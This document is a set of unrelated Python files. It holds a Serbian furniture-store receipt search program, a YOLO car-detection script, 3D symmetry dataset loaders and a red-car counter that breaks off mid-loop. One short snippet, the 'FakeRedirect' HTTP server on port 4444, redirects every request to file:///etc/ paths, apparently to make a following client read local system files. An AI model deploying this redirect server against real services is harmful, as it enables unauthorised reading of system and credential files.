	listaRecnikaNamestaja=pretragaUcitajNamestaj()
	print("Unesite ime kategorije")
	listaTermina=pretragaUcitajTermine()

	listaTrazenih=pretragaSelekcijaKatName(listaRecnikaNamestaja,listaTermina)

	pretragaSortirajPoNazivu(listaTrazenih)
	pretragaIspisNamestaja(listaTrazenih)

def pretragaSelekcijaKatName(listaRecnikaNamestaja,listaTermina):
	listaTrazenih=[]
	for recnik in listaRecnikaNamestaja:
		for termin in listaTermina:
			if (termin in recnik["kategorija"] and recnik["obrisano"]=="false"):
				if not (recnik in listaTrazenih):
					listaTrazenih.append(recnik)
	return listaTrazenih

#pretraga usluga
def p_pretragaUsluga():
	proveriFajl("usluge.txt")
	listaTermina=pretragaUcitajTermine()
	listaRecnika=napraviListuRecUsluga()
	listaTrazenih=pretragaSelekcija(listaRecnika,listaTermina)

	pretragaSortirajPoNazivu(listaTrazenih)
	pretragaIspisUsluga(listaTrazenih)

	return listaTrazenih

# def p_pretragaNamestajUProdaji(listaRecnikaNamestajaProdaja):
# 	listaTermina=pretragaUcitajTermine()
# 	listaTrazenih=pretragaSelekcija(listaRecnikaNamestajaProdaja,listaTermina)
# 	pretragaSortirajPoNazivu(listaTrazenih)
# 	pretragaIspisNamestaja(listaTrazenih)
# 	return listaTrazenih

####pretraga racuna
#imacu pretragu racuna namestaja.########################################

def pretragaRacunaGrananje():
	while True:
		pretragaRacunaMenu()
		komanda=pretragaRacunaKomanda()
		if komanda==0:
			print("Povratak u prethodni menu")
			return
		elif komanda==1:
			print('Izabrali ste "Pretraga racuna po broju racuna"')
			pretragaBrojRacuna()
		elif komanda==2:
			print('Izabrali ste "Pretraga racuna po nazivu namestaja"')
			pretragaNazivRacunaNamestaj()
		#elif komanda==3:
		#	print('Izabrali ste "Pretraga po nazivu usluga"')

		elif komanda==3:
			print('Izabrali ste "Pretraga racuna po datumu izdavanja"')
			pretragaDatumRacuna()
		elif komanda==4:
			print('Izabrali ste "Pretraga racuna po prodavcu koji ga je izdao"')
			pretragaProdavacRacun()

def pretragaRacunaMenu():
	print("\nNalazite se na mainMenu/pretragaGrananje/pretragaRacunaGrananje")
	print("Dobro dosli u pretragu racuna, molimo Vas izaberite sta zelite")
	print("0 - Idite nazad")
	print("1 - Pretraga racuna po broju racuna")
	print("2 - Pretraga racuna po nazivu namestaja/usluga")
#	print("3 - Pretraga racuna po nazivu usluga")
	print("3 - Pretraga racuna po datumu izdavanja")
	print("4 - Pretraga racuna po prodavcu koji ga je izdao")

def pretragaRacunaKomanda():
	komanda="komanda"

	while not pretragaRacunaKomandaUslov(komanda):
		try:
			komanda=int(input("Unesite komandu: "))
		except ValueError:
			print("Pogresan format komande, unesite broj sa menija")
	return komanda

def pretragaRacunaKomandaUslov(komanda):
	return komanda==0 or komanda==1 or komanda==2 or komanda==3 or komanda==4

def pretragaBrojRacuna():
	brRacuna=pretragaUcitajBrRac()
	listaRecnikaRacuna=ucitajRecnikeRacuna()
	listaTrazenih=pretragaSelekcijaRacunaBrRac(listaRecnikaRacuna,brRacuna)
	ispisiRacun(listaTrazenih)

def pretragaUcitajBrRac():
	while True:
		try:
			brRacuna=int(input("unesite broj racuna: "))
			return brRacuna
		except ValueError:
			print("pogresan format unosa, unesite broj")

def ucitajRecnikeRacuna():
	proveriFajl("racuni.txt")

	f=open("racuni.txt","r")
	linije=f.readlines()
	f.close()

	listaRecnika=[]
	for linija in linije:
		vrednosti=linija.strip().split("|")
		recnik=racunStrToDict(vrednosti)
		listaRecnika.append(recnik)

	return listaRecnika

def racunStrToDict(vrednosti): #lista recnika koji sadrze recnike i kljucevi ce biti 0,1,2,3.. koji ce odgovarati cenama i kolicinama
	recnik={}

	recnik["brojRacuna"]=int(vrednosti[0])

	recnik["nazivi"]={}
	l_naziv=vrednosti[1].split("/")
	l_naziv=list(filter(None,l_naziv))
	i=0
	for naziv in l_naziv:
		recnik["nazivi"][i]=naziv
		i=i+1

	recnik["kategorije"]={}
	l_kategorija=vrednosti[2].split("/")
	i=0
	for kategorija in l_kategorija:
		recnik["kategorije"][i]=kategorija
		i=i+1

	recnik["cene"]={}
	cene=vrednosti[3].split("/")
	cene=list(filter(None,cene))
	cene=[int(i) for i in cene]
	i=0
	for cena in cene:
		recnik["cene"][i]=cena
		i=i+1

	recnik["kolicine"]={}
	kolicine=vrednosti[4].split("/")
	kolicine=list(filter(None,kolicine))
	i=0
	for kolicina in kolicine:
		recnik["kolicine"][i]=kolicina
		i=i+1

	recnik["pdv"]=float(vrednosti[5])

	recnik["ukupnaCena"]=int(vrednosti[6])

	recnik["vreme"]={}
	vreme=vrednosti[7].split("/")
	vreme=list(filter(None,vreme))
	vreme=[int(i) for i in vreme]
	recnik["vreme"]["dan"]=vreme[0]
	recnik["vreme"]["mesec"]=vreme[1]
	recnik["vreme"]["godina"]=vreme[2]
	recnik["vreme"]["sat"]=vreme[3]
	recnik["vreme"]["minut"]=vreme[4]

	recnik["prodavac"]={}
	prodavac=vrednosti[8].split("/")
	#prodavac=list(filter(None,prodavac))
	recnik["prodavac"]["username"]=prodavac[0]
	recnik["prodavac"]["ime"]=prodavac[1]
	recnik["prodavac"]["prezime"]=prodavac[2]

	recnik["obrisano"]=vrednosti[9]

	return recnik

def pretragaSelekcijaRacunaBrRac(listaRecnikaRacuna,brRacuna):
	listaTrazenih=[]
	for recnik in listaRecnikaRacuna:
		if (brRacuna==recnik["brojRacuna"] and recnik["obrisano"]=="false"):
			listaTrazenih.append(recnik)
			return listaTrazenih

def ispisiRacun(listaRecnikaRacuna):
	for recnik in listaRecnikaRacuna:
		print("===================================")
		print("          (Ime preduzeca)          ")
		print("        (adresa preduzeca)         ")
		print("             ( mesto )             ")
		print("PIB: 012345678                     ")
		print("IBFM: 01234567                     ")
		print("-----------------------------------")
		print("{0:^36}               ".format(recnik["brojRacuna"]))
		print("-----------------------------------")
		print("|      ime      |   cena   |  kol |")
		print("-----------------------------------")
		#for recnik in listaRecnikaRacuna:
		for pozicija in recnik["nazivi"]:
			print("|{0:^15}|{1:^10}|{2:^6}|".format(recnik["nazivi"][pozicija],str(float(recnik["cene"][pozicija])), str(recnik["kolicine"][pozicija])))
		print("-----------------------------------")
		print("PDV 20%: {0:^36}".format(recnik["pdv"]))
		print("-----------------------------------")
		print("Za uplatu: {0:^36}".format(float(recnik["ukupnaCena"])))
		#print("Uplaceno: {0:^36}".format(uplata))
		#print("Povracaj: {0:^36}".format(float(uplata-uCena)))
		print("{0}.{1}.{2}-{3}:{4}".format(recnik["vreme"]["dan"],recnik["vreme"]["mesec"],recnik["vreme"]["godina"],recnik["vreme"]["sat"],recnik["vreme"]["minut"]))
		print("===================================")
		print("{0:<10} - {1:<10} {2:<15}".format(recnik["prodavac"]["username"],recnik["prodavac"]["ime"],recnik["prodavac"]["prezime"]))

def pretragaNazivRacunaNamestaj():
	listaTermina=pretragaUcitajTermine()
	listaRecnikaRacuna=ucitajRecnikeRacuna()
	listaTrazenih=pretragaSelekcijaRacunaNaziv(listaRecnikaRacuna,listaTermina)

	ispisiRacun(listaTrazenih)

def pretragaSelekcijaRacunaNaziv(listaRecnikaRacuna,listaTermina):
	listaTrazenih=[]
	for recnik in listaRecnikaRacuna:
		for termin in listaTermina:
			for index in recnik["nazivi"]:
				if (termin in recnik["nazivi"][index] and recnik["obrisano"]=="false"):
					listaTrazenih.append(recnik)
				if recnik in listaTrazenih:
					break
			if recnik in listaTrazenih:
					break
	return listaTrazenih

def pretragaDatumRacuna():
	print("Unesite pocetno vreme")
	datum1=unesiDatum()
	print("Unesite krajnje vreme")
	datum2=unesiDatum()
	listaRecnikaRacuna=ucitajRecnikeRacuna()
	listaTrazenih=pretragaSelekcijaRacunaDatum(listaRecnikaRacuna,datum1,datum2)

	ispisiRacun(listaTrazenih)	#vidi recimo da ovde radis ret listaTrazenih, pa da mozes da iskoristis

def unesiDatum():
	while True:
		try:
			day=int(input("unesite dan: "))
			month=int(input("unesite mesec: "))
			year=int(input("unesite godinu: "))
		except ValueError:
			continue

		try:
			datum=datetime.date(year,month,day)
			return datum
		except ValueError:
			print("Pogresan format datuma, molimo unesite dobar format")

def pretragaSelekcijaRacunaDatum(listaRecnikaRacuna,datum1,datum2):

	listaTrazenih=[]
	for recnik in listaRecnikaRacuna:
		datumRecnika=datetime.date(recnik["vreme"]["godina"],recnik["vreme"]["mesec"],recnik["vreme"]["dan"])
		if (datumRecnika>=datum1 and datumRecnika<=datum2 and recnik["obrisano"]=="false"):
			listaTrazenih.append(recnik)

	return listaTrazenih

def pretragaProdavacRacun():
	listaRecnikaRacuna=ucitajRecnikeRacuna()
	ime=unosEntiteta.installIme()
	prezime=unosEntiteta.installPrezime()
	listaTrazenih=pretragaSelekcijaRacunaProdavac(listaRecnikaRacuna,ime,prezime)

	ispisiRacun(listaTrazenih)

def pretragaSelekcijaRacunaProdavac(listaRecnikaRacuna,ime,prezime):

	listaTrazenih=[]
	for recnik in listaRecnikaRacuna:
		if (recnik["prodavac"]["ime"]==ime and recnik["prodavac"]["prezime"]==prezime and recnik["obrisano"]=="false"):
			listaTrazenih.append(recnik)

	return listaTrazenih

	# 1. uzecu sifru
	# 2. ucitacu racune, napraviti listu recnika
	# 3. uporediti
	# 4. ispisati

	#prezentacije 1 za programere 2 za preduzetnike. programerima pricam kako sam napravio, uml diagrami, logika itd..
#preduztnicima pricam performase programa, lakoca koriscenja sto je dobro jer ce obuka manje trajati, mogucnosti stvaranja izvestaja sto rasteecuje
#racunovodstvo, kompletno pracenje i cuvanje podataka koji su potrebni za vodjenje posla, lak za odrzavanje i sa mogucnoscu dodavanja stvari koje obavlja
#koko bi mu prosirila primena i olaksalo, ubrzalo poslovanje. naravno ovo bi se moglo doterati malo kada bi se graficki interfejs dodao i on ce izgledati
#otprilike ovako (pa pokazem neki nadrkan interfejs)
#storniranje racuna
#dodatak za informacioni sistem koji pokriva magacin(ulaz,izlaz,popis) koji u slucaju da je proizvod trazen cim padne kolicina ispod odredjene odmah salje izvesta
#da je potrebno naruciti, storno racuna koji vraca sve podatke sa tog racuna gde bi trbali, popis...
#u prezentaciji napomenem da nam je sifra bar kod i da bi smo mogli napraviti implementaciju skenirana bar koda

#napravim slajd kako je program testiran na obicnim ljudima koji nemaju veze sa namestajem i podelim njihove utiske dzonijeva, mladenova, vukasova, raticeva slika
#aleksandrina napisem u oblacicu njihove utiske o programu, njihovu sturcnu spremu (kod djomle napisem klosar), kazem da ce imati besplatno odrzavanje prvih
#mesec dana i besplatna 2 casa oko uvoda o koriscenju aplikacije

#moram da skontam izmenu i brisanje.
#jedan od nacina je ako hocu da izmenim prvo ukucam pretragu po cemu hocu da trazim termine kada nadje svi oni koji imaju te termine(u opseg cene..)
#bivaju izmenjeni tako sto cu uneti kako zelim da mi izgleda to ucitati ceo fajl ici kroz njega dok ne nadjem podudaranje i onda izmeniti i to vratiti u fajl

#jako mi je haoticno hocu i da kad menadzer uradi pretragu da ima opciju da izmeni fail ili obrise, tako da kad klikne tamo na izmenu odluka je vec donesena
#i odradim pretragu samo navodi sta hoce da izmeni.

#i to je problem jer ako imam 10 ikea i kliknem izmenu sta tacno ce on menjati? svaki od njih redom?
#ili da implementiram pretraga otprilike i imas opciju za brisanje izmenu samo kada je jedan fajl napisan?
#ako i masovne izmene ucitam fajl uporedim sa rezultatima pretrage kad nadje poklapanje kazem napravite izmene za taj i taj sacuvaj,izmeni nazad(preskocice taj)
#ili mogu da kad kazem izmenu a vise razultata u pretrazi on da napravi novu listu sa novim recnicima u kojima se nalaze izmene i za svaki pitam sacuvaj,
#izmena ili nazad(taj ostaje isti) i onda ceo fajl ucitam, poredim sa pretragom nadjem isto, zameni sa adekvatnom izmenom 1-1,2-2... i to je to

#pretraga je oke ali ako je prazna pitaj hoces da pretrazis obrisane i onda cu ista pretraga samo bez uslova za true i jedna opcija ce biti izmeni (koja ce)
#automatski da uradi restore stavice true na false ili samo restore (inverz brisana)

#recnik ce iz fajla da pretvori u int,float sta ima a kad pisem to pretvoricu ga nazad u string jer mogu da ga isecem

#hocu da kad trazis proizvode da ti ponudi da izmenis ili obrises proizvod ako ga trazis po sifri i sad kontam da imam promenjivu koja kaze dolazim iz pretragaSifre
#i u ispisu pitam jel to True ako jeste ponudi 0 nazad, 1 izmeni, 2 izbrisi

#kad budem radio izmenu/brisanje pitacu za sifru ili uradi pretragu pa trazi po imenu, trazi sifru dobije opciju izmene i brisanja i onda odradi posao

#sad se lomimi dobar nacin je i da napravis pretragu imas ponudjenu opciju i kad uzmes pita te da unses sifru proizvoda koji hoces da izmenis/obrises
#ovo je mozda cak i bolje. jer mozes da izmenis, obrises samo 1 a opet deluje fino i zaobilazi celu pricu oko moras pretragu po necemu pa moras po sifri pa
#tek onda imas opciju da menjas

#u pretrazi ces da imas i opciju da potrazis obrisane ali to samo menadzer
#znaci meni ce biti
# 0 - nazad
# 1- izmeni
# 2 - obrisi
#3 4 - (niste nasli proizvod?) pretrazite obrisane

#sad je zanimljivo kad kazes izmeni i on trazi sifru (radice pretragu po sifri) imam utisak da ce se zapetljati ako iz pretrage po sifri budem trazio izmenu
#tu bi trebao da stavim da ako je pretraga po sifri da tu sifru salje u izmenu tako da ce tamo moci da se ucita ceo fajl nadje ta sifra i startuje izmena iz
#modula UBI u kojoj ces moci da sacuvas izmenu, izmenis izmenu, vratis se nazad

########### ima dosta funkcija koje kad bi se malo uredile mogle bi se koristi ponovo kao npr pretraga kolicine, cene rastavim to i koristim vise puta
###########istu stvar


from ultralytics import YOLO
import cv2
import cvzone
import math
import uuid

cap = cv2.VideoCapture('../videos/cars.mp4')
# cap = cv2.VideoCapture('../videos/cars_karam.mp4')
width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))
height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))
fps = int(cap.get(cv2.CAP_PROP_FPS))
# Generate a random UUID as the filename
out_file = f"output_{uuid.uuid4()}.mp4"
# Define the codec and create a VideoWriter object
fourcc = cv2.VideoWriter_fourcc(*'mp4v')
# out = cv2.VideoWriter('output.mp4', fourcc, fps, (width, height))
# Create the VideoWriter object with the new output filename
out = cv2.VideoWriter(out_file, fourcc, fps, (width, height))
model = YOLO("../Yolo-Weights/yolov8n.pt")
'''
classNames = ["person", "bicycle", "car", "motorbike", "aeroplane", "bus", "train", "truck", "boat", "traffic light",
              "fire hydrant", "stop sign", "parking meter", "bench", "bird", "cat", "dog", "horse", "sheep", "cow",
              "elephant", "bear", "zebra", "giraffe", "backpack", "umbrella", "handbag", "tie", "suitcase", "frisbee",
              "skis", "snowboard", "sports ball", "kite", "baseball bat", "baseball glove", "skateboard", "surfboard",
              "tennis racket", "bottle", "wine glass", "cup", "fork", "knife", "spoon", "bowl", "banana", "apple",
              "sandwich", "orange", "broccoli", "carrot", "hot dog", "pizza", "donut", "cake", "chair", "sofa",
              "pottedplant", "bed", "diningtable", "toilet", "tvmonitor", "laptop", "mouse", "remote", "keyboard",
              "cell phone", "microwave", "oven", "toaster", "sink", "refrigerator", "book", "clock", "vase", "scissors",
              "teddy bear", "hair drier", "toothbrush"]
'''
with open("../Yolo-Weights/coco.names", "r") as f:
    classNames = f.read().splitlines()
while True:
    success, img = cap.read()
    if not success:
        break
    results = model(img, stream=True)
    for r in results:
        boxes = r.boxes
        for box in boxes:
            x1, y1, x2, y2 = box.xyxy[0]
            x1, y1, x2, y2 = int(x1), int(y1), int(x2), int(y2)
            w, h = x2 - x1, y2 - y1
            cvzone.cornerRect(img, (x1, y1, w, h))
            conf = math.ceil((box.conf[0] * 100)) / 100
            cls = int(box.cls[0])
            cvzone.putTextRect(img, f'{classNames[cls]} {conf}', (max(0, x1), max(35, y1)), scale=1, thickness=1)
    out.write(img)  # Write the frame to the output video
    # img_display = cv2.resizeWindow(img)
    cv2.imshow("Image",img)
    if cv2.waitKey(1) & 0xFF == ord('q'):
        break
# Release everything
cap.release()
out.release()
cv2.destroyAllWindows()


import json
import math
import os
os.environ["OPENCV_IO_ENABLE_OPENEXR"] = "1"
import os.path as osp
import random
import sys
from glob import glob

import cv2
import h5py
import matplotlib.pyplot as plt
import numpy as np
import numpy.linalg as LA
import torch
from torch.utils.data import Dataset
from torch.utils.data.dataloader import default_collate
from perception.webcam_sensor import WebcamSensor
from autolab_core import ColorImage, Image, PointCloud, RigidTransform, camera_intrinsics
from phoxipy import PhoXiSensor
from perception.colorized_phoxi_sensor import ColorizedPhoXiSensor

from sym.config import CI, CM

class ShapeNetDataset(Dataset):
    def __init__(self, rootdir, split):
        self.rootdir = rootdir
        self.split = split

        filelist = np.genfromtxt(f"{rootdir}/{split}.txt", dtype=str)
        random.seed(0)
        random.shuffle(filelist)
        filelist = [f for f in filelist if "03636649" not in f]  # remove lamps
        if (
            split == "train"
            and hasattr(CI, "only_car_plane_chair")
            and CI.only_car_plane_chair
        ):
            filelist = [
                f
                for f in filelist
                if "02691156" in f or "02958343" in f or "03001627" in f
            ]
        self.filelist = [f"{rootdir}/{f}" for f in filelist]
        self.filelist2 = filelist
        self.size = len(self.filelist)
        print(f"n{split}:", self.size)

    def __len__(self):
        return self.size

    def __getitem__(self, idx):
        prefix = self.filelist[idx]
        image = cv2.imread(f"{prefix}.png", -1).astype(np.float32)
        # import pdb;pdb.set_trace()
        image = image / 255.0
        # plt.imshow(image)
        # plt.show()
        image = np.rollaxis(image, 2).copy()

        depth = cv2.imread(f"{prefix}_depth0001.exr", -1).astype(np.float32)[:, :, 0:1]

        depth[depth > 20] = 0
        plt.imshow(depth)
        plt.colorbar()
        plt.show()
        depth[depth < 0] = 0
        depth[depth != depth] = 0
        depth = np.rollaxis(depth, 2).copy() # (256, 256, 1) => (1, 256, 256)

        with open(f"{prefix}.json") as f:
            js = json.load(f)
        Rt, K_ = np.array(js["RT"]), np.array(js["K"])
        K = np.eye(4)
        K[:3, :3] = K_[np.ix_([0, 1, 3], [0, 1, 2])]
        # K[:3] *= -1
        # print(Rt, K)
        KRt = K @ Rt

        oprefix = self.filelist2[idx]
        fname = np.zeros([60], dtype="uint8")
        fname[: len(oprefix)] = np.frombuffer(oprefix.encode(), "uint8")

        depth_scale = 1 / abs(Rt[2][3])

        ########### Take depth as input ##################
        depth_noisy = depth.copy()
        depth_noisy += np.random.normal(0, 0.1*abs(Rt[2][3]), depth.shape)
        image_with_depth = np.concatenate((image, depth_noisy), axis=0)
        # plt.imshow(np.rollaxis(image_with_depth, 0, 3)[:, :, :4])
        # plt.show()
        ########### Take depth as input ##################

        S0 = [
            KRt @ np.diagflat([1, -1, 1, 1]) @ LA.inv(KRt),
            KRt @ np.diagflat([-1, 1, 1, 1]) @ LA.inv(KRt),
            KRt @ np.diagflat([-1, -1, 1, 1]) @ LA.inv(KRt),
        ]
        result = {
            "fname": torch.tensor(fname).byte(),
            "image": torch.tensor(image).float(),
            # "image": torch.tensor(image_with_depth).float(),
            "depth": torch.tensor(depth).float() * depth_scale,
            "K": torch.tensor(K).float(),
            "RT": torch.tensor(Rt).float(),
        }

        w0, ws = sample_plane(Rt)
        S = [K @ w2S(w) @ LA.inv(K) for w in ws]
        y = [to_label(w, w0) for w in ws]
        result["S"] = torch.tensor(S).float()
        result["y"] = torch.tensor(y).float()
        result["w"] = torch.tensor(ws).float()
        result["w0"] = torch.tensor(w0).float()

        return result

class Pix3dDataset(Dataset):
    def __init__(self, rootdir, split):
        self.rootdir = rootdir
        self.split = split
        with open(f"{rootdir}/pix3d_info.json", "r") as fin:
            data_lists = json.load(fin)
        data_valid = set(np.loadtxt(f"{rootdir}/pix3d-valid.txt", dtype=str))

        data_lists = [
            d
            for d in data_lists
            if not d["truncated"] and not d["occluded"] and d["img"][:-4] in data_valid
        ]
        random.seed(0)
        random.shuffle(data_lists)
        if self.split == "train":
            data_lists = [data_lists[i] for i in range(len(data_lists)) if i % 10 != 0]
            self.size = len(data_lists) * 2
        elif self.split == "valid":
            data_lists = [data_lists[i] for i in range(len(data_lists)) if i % 10 == 0]
            self.size = len(data_lists)
        else:
            raise NotImplementedError

        self.data_lists = data_lists

        print(f"n{split}:", self.size)

    def __len__(self):
        return self.size

    def __getitem__(self, idx):
        do_flip = False
        if self.split == "train":
            do_flip = idx % 2 == 1
            idx //= 2

        data_item = self.data_lists[idx]
        fimage = osp.join(self.rootdir, data_item["img"])
        fdepth = osp.join(self.rootdir, data_item["depth"])
        fmask = osp.join(self.rootdir, data_item["mask"])

        image = cv2.imread(fimage, -1).astype(np.float32)/255.0
        image = np.rollaxis(image, 2).copy()
        mask = cv2.imread(fmask).astype(np.float32)[None, :, :, 0] / 255.0
        image = np.concatenate([image, mask])
        depth = cv2.imread(fdepth, -1).astype(np.float32)[:, :, 0:1]
        depth[depth > 20] = 0
        depth[depth < 0] = 0
        depth[depth != depth] = 0

        depth = np.rollaxis(depth, 2).copy()
        Rt, K = np.array(data_item["Rt"]), np.array(data_item["K"])
        K[:3] *= -1

        if do_flip:
            K = np.diagflat([-1, 1, 1, 1]) @ K
            image = image[:, :, ::-1].copy()
            depth = depth[:, :, ::-1].copy()

        KRt = K @ Rt
        S0 = [KRt @ np.diagflat([-1, 1, 1, 1]) @ LA.inv(KRt)]

        w0, ws = sample_plane(Rt, np.array([1, 0, 0, 0]))
        S = [K @ w2S(w) @ LA.inv(K) for w in ws]
        y = [to_label(w, w0) for w in ws]
        depth_scale = 1 / (w0 @ Rt[:3, 3])

        # print(S0)
        # print("Rt", Rt)
        # print("S0", Rt @ np.diagflat([-1, 1, 1, 1]) @ LA.inv(Rt))
        # print("S0", w2S(w0))
        # print("w0", w0)
        # print("depth_scale", depth_scale)
        S0 = [K @ w2S(w0) @ LA.inv(K)]
        # print(S0)

        oprefix = data_item["mask"][5:-4]
        fname = np.zeros([60], dtype="uint8")
        fname[: len(oprefix)] = np.frombuffer(oprefix.encode(), "uint8")

        result = {
            "fname": torch.tensor(fname).byte(),
            "image": torch.tensor(image).float(),
            "depth": torch.tensor(depth).float() * depth_scale,
            "S0": torch.tensor(S0).float(),
            "K": torch.tensor(K).float(),
            "RT": torch.tensor(Rt).float(),
        }
        result["S"] = torch.tensor(S).float()
        result["y"] = torch.tensor(y).float()
        result["w"] = torch.tensor(ws).float()
        result["w0"] = torch.tensor(w0).float()

        return result

class RealDataset(Dataset):
    def __init__(self, rootdir, split):
        self.rootdir = rootdir
        self.split = split

        self.camera = PhoXiSensor("1703005")
        self.camera.start()
        self.camera._set_intr()
        filelist = glob(f"{rootdir}/*.npy")
        #Get all the items that have "segmented" in its file name.
        filelist = [s for s in filelist if "segmented" in s]
        print(filelist)
        self.filelist = filelist
        self.size = len(self.filelist)
        print(f"n{split}:", self.size)

    def __len__(self):
        return self.size

    def __getitem__(self, idx):
        prefix = self.filelist[idx]

        # image = cv2.imread(f"{prefix}", -1).astype(np.float32)
        image = np.load(f"{prefix}", allow_pickle=True)
        print("png taken in image shape", image.shape)
        depth = image[:,:,3:]
        image = image[:,:,:3]
        # import pdb;pdb.set_trace()
        # image[:,:,-1] = image[:,:,-1] * 255
        image = cv2.cvtColor(image, cv2.COLOR_RGB2RGBA)
        image[:,:,:3] = image[:,:,:3] / 255.0
        print(image.shape)
        plt.imshow(image)
        plt.show()

        ############# if also feed in depth as input ############
        # image = np.concatenate((image, depth), axis=2)
        # print(image.mean(axis=2))
        #########################################################

        image = np.rollaxis(image, 2).copy()
        print(image.shape)

        # K = np.identity(4)
        # K[:3, :3] = self.camera._camera_intr._K
        # K[0, 2] = 550 + 128
        # K[1, 2] = 280 + 128
        # K[2, 2] = -1
        x_dim = 1032
        y_dim = 772
        clip_x = 190+130
        clip_y = 190
        height = y_dim - 2*clip_y
        width = x_dim - 2*clip_x
        #Row of crop window center
        crop_ci = clip_y + height / 2
        crop_cj = clip_x + width / 2
        # K = np.identity(4)
        # K[:3, :3] = self.camera._camera_intr._K
        # print("K", K)
        # K[0, 2] -= clip_x
        # K[1, 2] -= clip_y
        # K[0] *= 256/(x_dim - 2*clip_x)
        # # K[1] *= 256 / (x_dim - 2 * clip_x)
        # # K[0] *= 256 / (y_dim - 2 * clip_y)
        # # KRt = K @ Rt
        # K[1] *= 256 / (y_dim - 2 * clip_y)
        # K[2,2] = -1
        camera_intrinsics = self.camera.intrinsics
        # print("K before cropping", self.camera.intrinsics._K)
        camera_intrinsics = camera_intrinsics.crop(height, width, crop_ci, crop_cj)
        camera_intrinsics = camera_intrinsics.resize(256 / height)
        K = np.identity(4)
        K[:3, :3] = camera_intrinsics._K
        # K[2,2] = -1
        # K[:3] *= -1
        print("K", K)

        oprefix = self.filelist[idx]
        fname = np.zeros([60], dtype="uint8")
        fname[: len(oprefix)] = np.frombuffer(oprefix.encode(), "uint8")

        # depth_scale = 1 / abs(Rt[2][3])

        result = {
            "fname": torch.tensor(fname).byte(),
            "image": torch.tensor(image).float(),
            "depth": torch.tensor(depth).float(),
            "K": torch.tensor(K).float()
            # "RT": None,
        }
        #
        # w0, ws = sample_plane(Rt)
        # S = [K @ w2S(w) @ LA.inv(K) for w in ws]
        # y = [to_label(w, w0) for w in ws]
        # result["S"] = None
        # result["y"] = None
        # result["w"] = None
        # result["w0"] = None

        return result

def sample_plane(Rt, plane=np.array([0, 1, 0, 0]), plane2=np.array([1, 0, 0, 0])):
    w0_ = LA.inv(Rt).T @ plane
    # find plane normal s.t. w0 @ x + 1 = 0
    w0 = w0_[:3] / w0_[3]
    # normalize so that w[2]=1
    w0 = w0 / w0[2]

    if CM.detection.sample_hard_negative:
        # sample around second symmetry axis (hard negative)
        w1_ = LA.inv(Rt).T @ plane2
        w1 = w1_[:3] / w1_[3]
        w1 = w1 / w1[2]
        ws = [
            sample_symmetry(w0, 0, math.pi / 2),
            sample_symmetry(w1, 0, CM.detection.theta[0]),
        ]
    else:
        while True:
            w = sample_symmetry(w0, 0, math.pi / 2)
            if sum(to_label(w, w0)) == 0:
                break
        ws = [w]
    for theta1, theta0 in zip(CM.detection.theta, CM.detection.theta[1:] + [0]):
        ws.append(sample_symmetry(w0, theta0 * 1.001, theta1 * 0.999))
    return w0, ws

def sample_symmetry(w0, theta0, theta1, delta=1):
    w = sample_sphere(w0 / LA.norm(w0), theta0, theta1)
    return w / (delta * w[2])

def sample_sphere(v, theta0, theta1):
    def orth(v):
        x, y, z = v
        o = np.array([0.0, -z, y] if abs(x) < abs(y) else [-z, 0.0, x])
        o /= LA.norm(o)
        return o

    costheta = random.uniform(math.cos(theta1), math.cos(theta0))
    phi = random.random() * math.pi * 2
    v1 = orth(v)
    v2 = np.cross(v, v1)
    r = math.sqrt(1 - costheta ** 2)
    w = v * costheta + r * (v1 * math.cos(phi) + v2 * math.sin(phi))
    return w / LA.norm(w)

def w2S(w):
    S = np.eye(4)
    S[:3, :3] = np.eye(3) - 2 * np.outer(w, w) / np.sum(w ** 2)
    S[:3, 3] = -2 * w / np.sum(w ** 2)
    return S

def to_label(w, w0):
    theta = math.acos(np.clip(abs(w @ w0) / LA.norm(w) / LA.norm(w0), -1, 1))
    return [theta < theta0 for theta0 in CM.detection.theta]


from http.server import SimpleHTTPRequestHandler, HTTPServer

class FakeRedirect(SimpleHTTPRequestHandler):
   def do_GET(self):
       print(self.path)
       self.send_response(301)
       new_path = '%s%s'%('file:///etc/', self.path)
       self.send_header('Location', new_path)
       self.end_headers()

HTTPServer(("", 4444), FakeRedirect).serve_forever()


import cv2
import numpy as np
from object_detection import ObjectDetection
import math

# Initialize Object Detection
od = ObjectDetection()

# count line position
count_line_position = 350
offset = 2
counter = 0

# video location

cap = cv2.VideoCapture("C:/Users/91798/Documents/python/openCV/source_code/VID-20230418-WA0011.mp4")

# Initialize count
count = 0
center_points_prev_frame = []

tracking_objects = {}
track_id = 0
red_car_id = set([])

while True:
    ret, frame = cap.read()
    count += 1
    if not ret:
        break

    # Point current frame
    center_points_cur_frame = []
    center_points_red_frame = []
    #red_car_id = []
    #y = []
    # Detect objects on frame
    (class_ids, scores, boxes) = od.detect(frame)

    # Drawing  a line
    cv2.line(frame,(13,count_line_position),(445,count_line_position),(255,127,0),2)

    for box in boxes:
        (x, y, w, h) = box
        cx = int((x + x + w) / 2)
        cy = int((y + y + h) / 2)
        center_points_cur_frame.append((cx, cy))
        #print("FRAME N°", count, " ", x, y, w, h)
        # cv2.circle(frame, (cx, cy), 5, (0, 0, 255), -1)
        cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 255, 0), 2)

        # Get the HSV color of each pixel within the rectangle
        hsv_roi = cv2.cvtColor(frame[y:y+h, x:x+w], cv2.COLOR_BGR2HSV)
        # Set the range of color to detect (in this case, red)
        lower_red = np.array([0,70,50])
        upper_red = np.array([10,255,255])
        mask1 = cv2.inRange(hsv_roi, lower_red, upper_red)

        lower_red = np.array([170,70,50])
        upper_red = np.array([180,255,255])
        mask2 = cv2.inRange(hsv_roi, lower_red, upper_red)

        # Combine the masks to get the final mask for the red color
        mask = mask1 + mask2

        # Count the number of non-zero pixels in the mask within the rectangle
        masked_pixels = cv2.countNonZero(mask)
        total_pixels = w*h
        pixel_ratio = masked_pixels/float(total_pixels)

        if pixel_ratio > 0.05:
            cv2.rectangle(frame,(x,y),(x+w,y+h),(0,0,255),2)
            if ((cx,cy)) not in center_points_red_frame:
                if y<(count_line_position+offset) and y>(count_line_position-offset):
                    center_points_red_frame.append((cx,cy))
                    counter += 1
                    cv2.line(frame,(13, count_line_position), (445, count_line_position), (0,127,255), 3)
                    #center_points_cur_frame.remove((x,y))

                    #print('tracking id is :',track_id)
                    red_car_id.add(track_id)

                    print(red_car_id)
                    print("Red Vehicle is detected : "+str(len(red_car_id)))

    # Only at the beginning we compare previous and current frame
    if count <= 2:
        for pt in center_points_cur_frame:
            for pt2 in center_points_prev_frame:
